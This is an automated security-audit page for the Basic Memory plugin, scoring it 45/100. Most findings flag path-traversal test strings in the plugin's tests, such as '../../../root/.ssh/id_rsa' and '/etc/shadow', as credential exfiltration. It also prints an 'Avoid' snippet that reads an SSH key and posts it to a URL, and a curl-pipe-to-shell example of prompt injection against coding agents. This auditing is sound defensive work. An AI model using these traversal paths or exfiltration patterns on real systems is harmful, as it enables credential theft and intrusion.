Basic Memory— plugin

Basic Memory — independently scanned and version-tracked by SaferSkills.

by basicmachines-co·Plugin·github.com/basicmachines-co/basic-memory

Is Basic Memory safe to install?

SaferSkills independently audited Basic Memory (Plugin) and scored it 45/100 (orange). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 21 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.

Score
45/100
●●●●●○○○○○
↑ +0 since first scan (45 → 45)Re-scan~30s
Latest scan
ScannedJun 24, 2026 · 28d ago
Scans run2 over 90 days
Detectors55 checks · 5 categories
Findings0 warnings · 21 high
EngineSaferSkills 2b638c6
View methodology →
SaferSkills installs
This week0
This month0
All time0
CategoryWeightCategory scoreContribution
Securityprompt, exec, net, exfil, eval
35%
0
0.0 pts
Supply chainhash, typosquat, maintainer, lockfile
20%
100
20.0 pts
Maintenancestaleness, pinning, CI
15%
100
15.0 pts
TransparencySKILL.md, perms, README
15%
100
15.0 pts
Communityinstalls, verify, response
15%
100
15.0 pts

Findings & checks · 21 flagged

Securityscore 0 · 21 findings
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · tests/mcp/test_tool_move_note.py×4
HIGHSSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header ("../../../root/.ssh/id_rsa",). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerpttests/mcp/test_tool_move_note.py· python
744"../secrets.txt",
745"../../etc/passwd",
746"../../../root/.ssh/id_rsa",
747"notes/../../../etc/shadow",
748"folder/../../outside/file.md",
Occurrences
4 occurrences · first at L746, also L814, L848 +1 more
Show all 4 locations
Line
File
L746
tests/mcp/test_tool_move_note.py
L814
tests/mcp/test_tool_move_note.py
L848
tests/mcp/test_tool_move_note.py
L881
tests/mcp/test_tool_move_note.py
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha2566eca2c923ad05fffrubric 365aacaView on GitHub
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · tests/mcp/test_tool_read_content.py×5
HIGHSSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header ("../../../root/.ssh/id_rsa",). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerpttests/mcp/test_tool_read_content.py· python
22"../secrets.txt",
23"../../etc/passwd",
24"../../../root/.ssh/id_rsa",
25"notes/../../../etc/shadow",
26"folder/../../outside/file.md",
Occurrences
5 occurrences · first at L24, also L63, L83 +2 more
Show all 5 locations
Line
File
L24
tests/mcp/test_tool_read_content.py
L63
tests/mcp/test_tool_read_content.py
L83
tests/mcp/test_tool_read_content.py
L102
tests/mcp/test_tool_read_content.py
L141
tests/mcp/test_tool_read_content.py
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha2566eca2c923ad05fffrubric 365aacaView on GitHub
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · tests/mcp/test_tool_read_note.py×6
HIGHSSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header ("../../../root/.ssh/id_rsa",). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerpttests/mcp/test_tool_read_note.py· python
989"../secrets.txt",
990"../../etc/passwd",
991"../../../root/.ssh/id_rsa",
992"notes/../../../etc/shadow",
993"folder/../../outside/file.md",
Occurrences
6 occurrences · first at L991, also L1036, L1059 +3 more
Show all 6 locations
Line
File
L991
tests/mcp/test_tool_read_note.py
L1036
tests/mcp/test_tool_read_note.py
L1059
tests/mcp/test_tool_read_note.py
L1081
tests/mcp/test_tool_read_note.py
L1102
tests/mcp/test_tool_read_note.py
L1275
tests/mcp/test_tool_read_note.py
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha2566eca2c923ad05fffrubric 365aacaView on GitHub
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · tests/services/test_project_service.py
HIGHSSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header ("../../../home/user/.ssh/id_rsa",). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerpttests/services/test_project_service.py· python
976"../../../etc/passwd",
977"../../.env",
978"../../../home/user/.ssh/id_rsa",
979]
980 
Occurrences
1 occurrence · at L978
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha2566eca2c923ad05fffrubric 365aacaView on GitHub
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · tests/utils/test_validate_project_path.py×4
HIGHSSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header ("../../../home/user/.ssh/id_rsa",). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerpttests/utils/test_validate_project_path.py· python
80"../../../../etc/passwd",
81"../../.env",
82"../../../home/user/.ssh/id_rsa",
83"../../../../var/log/auth.log",
84"../../.bashrc",
Occurrences
4 occurrences · first at L82, also L124, L142 +1 more
Show all 4 locations
Line
File
L82
tests/utils/test_validate_project_path.py
L124
tests/utils/test_validate_project_path.py
L142
tests/utils/test_validate_project_path.py
L182
tests/utils/test_validate_project_path.py
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha2566eca2c923ad05fffrubric 365aacaView on GitHub
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · src/basic_memory/ci/README.md
HIGHa successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptsrc/basic_memory/ci/README.md· markdown
45```bash
46bm cloud api-key save bmc_...
47bm cloud workspace list
48bm ci setup --project <project-name> --workspace <workspace-slug-or-id> --cloud --yes
49```
50 
51Use the `Slug` column from `bm cloud workspace list` for `--workspace`; the
52`Workspace ID` column also works when a slug is unavailable or ambiguous.
53 
Occurrences
1 occurrence · at L45
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha256da409376c49e08e6rubric 365aacaView on GitHub
Supply chainscore 100 · 0 findings
All supply chain checks passedNo findings in this category for the latest scan.pass
Maintenancescore 100 · 0 findings
All maintenance checks passedNo findings in this category for the latest scan.pass
Transparencyscore 100 · 0 findings
All transparency checks passedNo findings in this category for the latest scan.pass
Communityscore 100 · 0 findings
All community checks passedNo findings in this category for the latest scan.pass
Vendor response · right of reply
Are you the maintainer? Submit a response →

Audit the pieces. Scan the whole. Decide.

~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.